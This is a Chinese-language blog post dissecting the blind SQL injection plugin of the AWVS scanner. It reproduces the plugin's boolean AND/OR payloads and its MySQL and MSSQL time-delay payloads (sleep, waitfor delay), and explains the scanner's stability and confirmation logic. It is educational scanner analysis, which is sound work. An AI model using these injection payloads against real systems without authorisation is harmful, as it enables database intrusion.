0x00 前言

在上一篇文章中，我们提到了AWVS的几个插件，并对其中的 classXSS, classSQLI等几个插件进行了分析， 接下来的重头戏是对AWVS的盲注插件的分析， 即在 ./PerScheme/Blind_Sql_Injection.script这一插件的分析。


0x01 插件的结构

在这个插件中， 可以看到由类 classBlindSQLInj和以下几个函数构成： 

classBlindSQLInj.prototype.getOrigValue 
classBlindSQLInj.prototype.extractTextFromBody 
classBlindSQLInj.prototype.filterBody 
classBlindSQLInj.prototype.alert 
classBlindSQLInj.prototype.request 
classBlindSQLInj.prototype.checkIfResponseIsStable 
classBlindSQLInj.prototype.addToConfirmInjectionHistory 
classBlindSQLInj.prototype.addToConfirmInjectionHistoryTiming 
classBlindSQLInj.prototype.confirmInjection 
classBlindSQLInj.prototype.confirmInjectionWithOR 
classBlindSQLInj.prototype.confirmInjectionWithOR2 
classBlindSQLInj.prototype.testInjection 
classBlindSQLInj.prototype.testInjectionWithOR 
classBlindSQLInj.prototype.testInjectionWithOR2 
classBlindSQLInj.prototype.confirmInjectionOrderBy 
classBlindSQLInj.prototype.testInjectionOrderBy 
classBlindSQLInj.prototype.genSleepString 
classBlindSQLInj.prototype.genBenchmarkSleepString 
classBlindSQLInj.prototype.testTiming 
classBlindSQLInj.prototype.testBenchmarkTiming 
classBlindSQLInj.prototype.testOOB 
classBlindSQLInj.prototype.startTesting

在上一篇中提到，像 alert这种函数，其实是在获取到漏洞信息之后反馈给AWVS的系统用于记录的，所以可以不关注。同时根据对 sqli-labs进行测试后发现，其实AWVS对于 benchmark注入的算法并不算太精确， 这点在后面会提到 ，所以重点放在了 testInjection, testInjectionWithOR, testInjectionWithOR2 等函数中。 接下来还是以入口进行分析，在该插件中，入口是一个for循环， 

for (var i=0;i<scheme.inputCount; i++) //scheme类似于参数变量的list或者dict
{
    var tester = new classBlindSQLInj(scheme, i);    //取出某一参数，生成一个classBlindSQLInj对象，
    tester.inputName = scheme.getInputName(i);
    tester.inputNameLC = tester.inputName.toLowerCase();
    tester.startTesting(); //开始测试

所以，重点还是在于classBlindSQLInj这个类中，下面我们开始对这个类进行分析


0x02 重点函数分析

在上一小节所列出的classBlindSQLInj这个类中函数，我们可以将其分为以下几类：

  1. 测试函数，包括testInjection,testOOB,testTiming

  2. 确认函数，包括confirmInjection,confirmInjectionWithOR等

  3. 功能函数，包括filterBody，extractTextFromBody，checkIfResponseIsStable等函数

下面我们进行功能函数的分析，再进行测试函数的分析，最后是确认函数的分析


功能函数

extractTextFromBody函数

怎么说呢， 其实开发都应该向AWVS一样，将函数名写的十分的易懂。 这个函数如其名称，是从html文本中提出text, 而减少了关于不同访问的标签属性的变化而带来的影响（猜的）。 具体看一下： 

    var tokens = htmlTokens(body); //词法分析后，取出所有的标签
    var str = "";
    var includeText = true;
    while (token = tokens.nextToken()) {
        if (token.isTag){ 
            if (token.tagName == 'STYLE') includeText = false;
            else if (token.tagName == '/STYLE') includeText = true;
            else if (token.tagName == 'SCRIPT') includeText = false;
            else if (token.tagName == '/SCRIPT') includeText = true; 
        }
        else if (token.isText) {
            if (includeText) str = str + token.raw + "\n";  
        }
    }   
    return str;

代码其实很简单了，将body中的标签取出，一旦遇到/STYLE和/SCRIPT的标签，其includeText为TRUE，虽然htmlToken这个函数没有具体的代码，但是应该不难猜测类似于js中的dom树。python中bs4这个库中也相关的函数如：.next_sibling等。一言以敝之， 这个函数是去标签化的过程。


filterBody函数

在了解了上一个函数之后， filterBody也就很好分析了 

    var ct = this.lastJob.response.headerValue('content-type').toLowerCase();
    if (ct == "" || ct.indexOf('html') != -1) 
        body = this.extractTextFromBody(body);
    body = body.replace(/([0-1]?[0-9]|[2][0-3]):([0-5][0-9])[.|:]([0-9][0-9])/g, "");
    body = body.replace(/time\s*[:]\s*\d+\.?\d*/g, "");
    if (testValue && this.origValue.length >= 4) {
        body = body.replaceAll(testValue, "");
    }
    if (testValue && this.origValue && testValue.length > this.origValue.length) {
        var partialValue = testValue.replaceAll(this.origValue, "");
        body = body.replaceAll(partialValue, "");
    }
    if (this.origValue && this.origValue.length >= 4)
        body = body.replaceAll(this.origValue, "");
    return body;

首先判断 Content-Type的响应是否包含了 html字段，其次过滤掉了时间相关的字段值，最后处理原始值与测试值是否需要在响应中去除，最后返回结果。


checkIfResponseIsStable函数

对于时延注入来说， 检测响应是否稳定应该是相对比较重要的功能了。 AWVS的实现方式如下：

  • 对原始参数值分别请求两次， 获取其body1= filterBody(), body2= filterBody() 和响应的时间time1, time2

  • 如果在请求原始参数过程中报错了，直接return。如果请求未出错，则计算在两次原始参数值请求中所消耗的最短时长 shortDuration, 与最长时间 longDuration, 这两个变量首先在类创建的时候是有一个初始值的，如 longDuration=6， shortDuration=2， 在进行这两次原始值的请求后，对变量的更新操作如下： 

    min_time = min(time1, time2)
    max_time = max(time1, time2)
    shortDuration = max(shortDuration, max_time) + 1
    longDuration = shortDuration * 2

  • 在AWVS中的responseStable中，分别对responseTimingIsStable,responseIsStable与inputIsStable做了检测,在得到上面shortDuration和longDuration之后，下边是如何就几种Stable的类型做判断的 

    # 检测responseTimingIsStable
    if (max_time - min_time > shortDuration): responseTimingIsStable = False;
    else: responseTimingIsStable = true
    #检测responseIsStable
    if body1 != body2:
        responseIsStable = False
        return True 
        # 返回True意味着函数`checkResponseIsStable`执行成功，并且在请求参数时未返回错误，并不是说responseIsStable = True， 这一点要注意 
    else: responseIsStable=True
    # 检测InputIsStable
    if len(body1) == 0: 
        inputIsStable = False
        return True

  • 如果到这一步还没有return,那么继续进行下一步,生成一个随机数来检测响应是否稳定,即生成一个随机数var3,用它当参数来请求获取body3=filterBody()与time3并用time3与min_time和max_time做比较来得出新的min_time和max_time.之后重新进行三种Stable状态的判断 

    # responseTimingStable
    if max_time - min_time > shortDuration: responseTimingIsStable=False
    else: responseTimingIsStable = True
    if shortDuation > 10: responseTimingIsStable = False
    #  inputIsStable
    if (body1 == body2 and body1 != body3): inputIsStable=True
    else: inputIsStable=False

确认函数

在功能函数讲完之后， 下一步我们先进行确认函数的分析，最后才是测试函数. 先看一下awvs的 confirmInjection函数的定义


confirmInjection函数 

classBlindSQLInj.prototype.confirmInjection = function(varIndex, quoteChar, likeInjection, confirmed)

其中

  • varIndex 表示在本次测试的参数在所有参数中所占的位置

  • quoteChar 表示特殊的字符 如 ', "等

  • likeInjection 表示是否是like注入，

  • confirmed 表示是否已经确认过了

然后声明了几个变量 

variation //变量
origValue //原始值
origBody // 原始响应
testBody // 测试值响应
randNum // 一个小于1000的随机数
randString //一个字个字符的随机字符串, 如果变量是数字型的， randString == randNum
likeStr // 取值为 `%` 如果是LikeInjection, likeStr就赋值为 %

接着在测试的主体中，将参数值分成了数字与字符两种，对于数字的型的测试流程如下,awvs的测试 payload很多，主要是True/False两种，下面只对每一种举例： 

//TEST TRUE
paramValue = (origValueAsInt).toString() + "*1*1";
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody != origBody) {
    return false;        
}
//TEST FALSE
paramValue = (origValueAsInt + 10).toString() + "*5*2*999";
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody == origBody) {
    return false;        
}

将一些调试信息过滤后，其主要的测试步骤如上:对于True的Payload生成条件为: (origValueAsInt).toString()+"*1*1", 如原始值为2, 那么payload为：2*1*1, 然后如果请求没有出错，那么将响应值对于filterBody函数所过滤过出的testBody与origBody相对比,如果两个值不相等,即判定为不存在注入漏洞。

因为如果存在注入漏洞时,2*1*1 的响应应该等于 2。相对应的,测试False的Payload值：(origValueAsInt+10).toString()+"*5*2*999" 对其响应做处理后判断与origBody相等,则判定不存在漏洞,直接return

没错,对于数字的注入只用了这两种方法,惊喜不惊喜,意外不意外,开心不开心?其所有的payload如下: 

//TEST TRUE
paramValue = "1*1*1*" + origValue;
paramValue = (origValueAsInt).toString() + "*1*1";
paramValue = "1*1*1*1*1*" + (origValueAsInt).toString();
//TEST FALSE
paramValue = origValue + "*" + randNum.toString() + "*" + (randNum-5).toString() + "*0
paramValue = (origValueAsInt + 10).toString() + "*5*2*999";
paramValue = (origValueAsInt + 10).toString() + "*1*1*0*1*1*" + randNum;

其函数主体是对这六个Payload的乱序请求， 一旦其中一个payload返回的False, 直接返回False。

接下来是测试字符串的payload， 同样还是对于true/false的payload举例两个： 

//TEST TRUE
paramValue = origValue + likeStr + quoteChar + " AND 3*2*0>=0 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody != origBody) {
    return false;
}
// TEST FALSE
paramValue = origValue + likeStr + quoteChar + " AND 3*3*9<(2*4) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody == origBody) {
    return false;
}

同样的，payload的生成规则与数字一样， 就不再重复叙述了， 这里把awvs中的payload列下 

//TEST TRUE
paramValue = origValue + likeStr + quoteChar + " AND 2*3*8=6*8 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 3*2>(1*5) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 3*2*0>=0 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
//TEST FALSE
paramValue = origValue + likeStr + quoteChar + " AND 3*3*9<(2*4) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 3*3<(2*4) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 2*3*8=6*9 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;

除了数字与字符型的payload，awvs还提供了一种common型，即不管数字或者字符都可以直接用的..检测过程一样，直接上payload： 

//TEST TRUE
paramValue = origValue + likeStr + quoteChar + " AND 5*4=20 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 7*7>48 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 3*2*1=6 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
//TEST FALSE
paramValue = origValue + likeStr + quoteChar + " AND 5*4=21 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 5*6<26 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 3*2*0=6 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;

当然当然，awvs并不只是有and的注入，还包括or的注入，同时因为or的注入也是通过检测testBody是否与origBody相符来判断的，所以老规矩，举例两个然后直接上payload


confirmInjectionWithOR与confirmInjectionWithOR2函数

其测试TRUE与FALSE的条件如下： 

// TEST TRUE
paramValue = origValue + quoteChar + " OR 2+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody == origBody) {
    return false;
}
//TEST FALSE
paramValue = origValue + quoteChar + " OR 3+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody == trueBody) {
    return false;
}

与上一个小节的confirmInjection一样，通过不同的or条件下testBody与origBody是否一致来判断漏洞的存在与否，其payload如下: 

//TEST TRUE
paramValue = origValue + quoteChar + " OR 2+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR 3*2>(0+5+" + randNum + "-" + randNum + ") or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR 2+1-1-1=1 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR 3*2=6 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR 3*2*1=6 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
// TEST FALSE
paramValue = origValue + quoteChar + " OR 3*2*0=6 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR 3*2=5 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR " + randString + "=" + randString + " AND 3+1-1-1=1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR 3*2<(0+5+" + randNum + "-" + randNum + ") or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR 3+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;

其函数主体是对上述的payload进行乱序请求，如果某一条未返回False, 则直接返回 False，否则返回True

测试函数

BO！BO！BO！ 下面看一下awvs的时延注入检测函数，这一部分需要跨度两个函数，即：testTiming与startTest，其实startTest相当于入口函数了。


testTiming函数

在分析这个函数的时候，首先我们需要进入startTest函数看一下payload相关代码， 同样，因为包含了mysql,mssql等，这里只分析一下mysql的， mssql的相关代码同样是使用了 testTiming的函数， 可以payload来自己分析 

if (this.testTiming(i, "if(now()=sysdate(),sleep({SLEEP}),0)/*'XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR'\"XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR\"*/")) return true;
// mysql generic variant
if (this.testTiming(i, "(select(0)from(select(sleep({SLEEP})))v)/*'+(select(0)from(select(sleep({SLEEP})))v)+'\"+(select(0)from(select(sleep({SLEEP})))v)+\"*/")) return true;

上边将两条Payload传入了testTiming函数 

//payload1
"if(now()=sysdate(),sleep({SLEEP}),0)/*'XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR'\"XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR\"*/"
//payload2
"(select(0)from(select(sleep({SLEEP})))v)/*'+(select(0)from(select(sleep({SLEEP})))v)+'\"+(select(0)from(select(sleep({SLEEP})))v)+\"*/"

这里看到有{SLEEP}标志符,后边会用它来替换成将要休眠的秒数 在函数中首先有四个函数分别是： 

stepLongDelay
stepZeroDelay
stepMidDelay
stepVeryLongDelay

这四个函数分别对应休眠秒数为 long, zero, mid, verylong这四个级别的长度的检测方法，而这四个长度是由上文提到的 longDuration与 shortDuration这两个变量相互组合而来的，是简单的加减法，在函数 genSleepString中，不再多叙述。

接下来分别用 lzvm分别代表 long, zero, verylong, mid这四个级别，生成了一个由 lzvm字符排列的序列， 并附加了一个固定的字符串 zzzlz： 

var permutations = new Array("lzvm", "lzmv", "lvzm", "lvmz", "lmzv", "lmvz", "vzlm", "vzml", "vlzm", "vlmz", "vmzl", "vmlz", "mzlv", "mzvl", "mlzv", "mlvz", "mvzl", "mvlz");
var permutation = permutations[permIndex] + "zzzlz";

对于这里的每一个字符，调用对应的函数来检测， 这里举 verylong来举例 

this.stepVeryLongDelay = function () {
    var veryLongDuration = (this.shortDuration + this.longDuration);
    paramValue = origParamValue.replace(/{SLEEP}/g, this.genSleepString("verylong"));
    paramValue = paramValue.replace(/{ORIGVALUE}/g, this.origValue);        
    paramValue = paramValue.replace(/{RANDSTR}/g, randStr(8));
    if (!this.request(variation, paramValue, timeOutSecs*1000, dontEncode)) return false;
    Time4 = this.lastJob.responseDuration/1000;
    if (Time4 < (veryLongDuration * 99/100)) return false;
    return true;
}

可以看出实现很简单，替换 {SLEEP}等替代符之后，发送请求判断响应时间与预定时间的大小来对漏洞是否存在返回TRUE/FALSE， 后边还对这四个函数的返回值如time1,time2,time3,time4做了一个简单的比较，举例来说，time1代表 verylong级别，time2代表 mid级别， 那么如果 time1<time2， 表示注入不存在。 其他函数与此相同，不再多叙述。 除此之外，关于mysql的还有 benchmark这种关于时延注入的payload， 但是在awvs中， benchmark不同次数之后与一个固定的秒数相比较， 可能会因为网络的原因而出现误报， 所以本次不进行分析，不过大致的流程与上边的sleep是一样的， 可以自己看一下代码


startTesting函数

看到这里，应该对整个脚本的流程有了一个清楚的认识，我们先看整个函数的代码是怎么样的： 

classBlindSQLInj.prototype.startTesting = function()
{   
    if (this.origValue == "") 
    {   
        this.origValue = "1";
        this.isNumeric = true;
    }
    for (var i=0; i<this.variations.count; i++) 
    {
        if (this.foundVulnOnVariation) break;
        if (!this.checkIfResponseIsStable(i)) return false;
        var doBooleanTests = true;
        var doTimingTests = true;
        var doTimingTestsMySQL = true;
        ...
        // for bounties do more tests even if they have false positives
        if (bounties) {
            var doBooleanTests = true;
            var doTimingTests = true;
            ...
        }
        if (doBooleanTests) {
            if (this.inputIsStable) {
                // numeric
                if (this.isNumeric && this.testInjection(i, '', false)) return true;
                // single quote
                if (this.testInjection(i, "'", false)) return true;
                // double quote
                if (this.testInjection(i, '"', false)) return true;
                // single quote, inside like
                if (this.testInjection(i, "'", true)) return true;
                // for special named parameters make do the order/group by tests
                if ((this.inputNameLC.indexOf("order") != -1 || this.inputNameLC.indexOf("group") != -1 || this.inputNameLC.indexOf("sort") != -1)
                    && this.testInjectionOrderBy(i)) return true;
            }
            else
            {
                if (this.testInjectionWithOR(i, '')) return true;
                if (this.testInjectionWithOR(i, '', true)) return true;
                if (this.testInjectionWithOR(i, "'")) return true;
                if (this.testInjectionWithOR2(i, "'")) return true;
                if (this.testInjectionWithOR(i, '"')) return true;
            }
        }
        // timing tests
        if (doTimingTests) {
            if (this.responseTimingIsStable) {
                if (doTimingTestsMySQL) {
                    if (this.testTiming(i, "if(now()=sysdate(),sleep({SLEEP}),0)/*'XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR'\"XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR\"*/")) return true;
                    if (this.testTiming(i, "(select(0)from(select(sleep({SLEEP})))v)/*'+(select(0)from(select(sleep({SLEEP})))v)+'\"+(select(0)from(select(sleep({SLEEP})))v)+\"*/")) return true;
                    if (doTimingTestsMySQLBenchmark) {
                      ...
                    }
                    // the perl jam
                    if (this.scheme.path) {
                        ...
                    }
                }
                if (doTimingTestsMSSQL) {
                    if (this.isNumeric && this.testTiming(i, "-1; waitfor delay '0:0:{SLEEP}' -- ")) return true;
                    if (this.isNumeric && this.testTiming(i, "-1); waitfor delay '0:0:{SLEEP}' -- ")) return true;
                    ...
                    if (doTimingTestsMSSQLExtra) {
                        ...
                    }
                }
                if (doTimingTestsPostgreSQL) {
                        ...
                    if (doTimingTestsPostgreSQLExtra) {
                        ...
                    }
                }
                if (doTimingTestsRails) {
                    // for Rails make some extra checks
                    if (isRails) {
                        ...
                    }
                }
            }
        }
        if (doOOBTests) {
            ...
        }
    }
}

首先是为没有值的参数设置了默认的数字 1作为其值，然后初始化一些变量，接着根据变量的值来判断是否进行mysql, mssql,postsql等数据库的测试，并通过不同的字符如 ', "等来调用前边分析的函数进行时延，布尔等注入类型的测试， 代码相对比较简单，结合前边的几个主要函数，可以对盲注更深入的了解了。


0x03 总结

本篇文章主要对awvs的盲注进行了简单的分析，通过分析它的函数代码，可以学习到一款成熟的扫描器是如何就SQL注入这个漏洞进行的分析与利用，同时对于自己扫描器中的也可以增加一款新插件。 另外不知道有没有注入到一点，在盲注这一个脚本中，并没有发现宽字符注入这一个注入点的检测，所以还可以就这几个函数，新增加一个检测宽字符注入的payload, 百尺竿头，更进一步。 另外还有order by的注入也在里边，有兴趣的可以看一下，流程与上边的类似。


0x04 参考

  • 对AWVS的一次简单分析

    • https://paper.seebug.org/461/

  • mysql-blind sql injection with awvs

    • https://security.stackexchange.com/questions/137251/blind-sql-injection-with-acunetrix-vulnerability-scanner#160103

  • awvs blindsqlinjection.script

    • https://github.com/fnmsd/awvs_script_decode/blob/master/Scripts/PerScheme/Blind_Sql_Injection.script

  • 从AWVS插件到伪代理扫描


作者: 71SRC